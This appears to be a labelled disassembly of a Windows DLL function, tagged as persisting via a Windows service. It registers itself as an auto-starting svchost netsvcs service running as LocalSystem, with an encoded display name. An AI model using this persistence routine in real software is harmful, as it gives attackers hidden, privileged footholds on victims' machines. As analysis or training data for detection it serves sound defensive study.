Function at 0x10002540
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0xa1c
mov eax, dword [0x100190d4]
xor eax, esp
mov dword [esp + 0xa18], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0xa2c]
push edi
xor ebx, ebx
push 0x7fe
lea eax, [esp + 0x22e]
push ebx
push eax
mov word [esp + 0x234], bx
call fcn.10008550
add esp, 0xc
mov dword [esp + 0x10], ebx
xor ebp, ebp
call fcn.10007da0
cmp byte [eax + 0x20], bl
mov edi, str._SystemRoot_SysWOW64_svchost.exe__k_netsvcs
jne 0x10002599
mov edi, str._SystemRoot_System32_svchost.exe__k_netsvcs
push esi
lea ecx, [esp + 0x22c]
push str.SYSTEMCurrentControlSet_services_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x10002609
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x100025df
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], ebx
push ebx
lea ecx, [esp + 0x14]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
lea edx, [esp + 0x244]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10002772
mov eax, 0x1001367c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002611
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push 0x1001367c
push 1
push ebx
push str.Description
push ecx
call esi
test eax, eax
jne 0x10002772
push 0x206
lea edx, [esp + 0x26]
push ebx
push edx
mov word [esp + 0x2c], bx
call fcn.10008550
push 8
lea eax, [esp + 0x30]
push str.Vm0weGQxTXdNVWhTV0d4VFYwZDRWRmxyWkZOalJsWjBUVlJTVjJKSGVIcFpWV00xWVVaS2MxZHNhRmRXYldoeVZsVmFWMVpWTVVWaGVqQTk
push eax
call fcn.10002020
lea eax, [esp + 0x38]
add esp, 0x18
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002677
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
push 1
push ebx
push str.DisplayName
push eax
call esi
test eax, eax
jne 0x10002772
mov eax, str.LocalSystem
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x100026b0
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea ecx, [eax + eax + 2]
push ecx
push str.LocalSystem
push 1
push ebx
push str.ObjectName
push edx
call esi
test eax, eax
jne 0x10002772
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x20]
push eax
push 4
push ebx
push str.ErrorControl
push ecx
mov dword [esp + 0x34], ebx
call esi
test eax, eax
jne 0x10002772
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10002703
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x10]
push edx
push edi
push 2
push ebx
push str.ImagePath
push eax
call esi
test eax, eax
jne 0x10002772
mov edx, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebx
push str.Type
push edx
mov dword [esp + 0x2c], 0x20
call esi
test eax, eax
jne 0x10002772
mov ecx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x1c]
push eax
push 4
push ebx
push str.Start
push ecx
mov dword [esp + 0x30], 2
call esi
test eax, eax
jne 0x10002772
lea ebp, [eax + 1]
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x10002781
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xa28]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
xor ecx, esp
call fcn.1000853f
add esp, 0xa1c
ret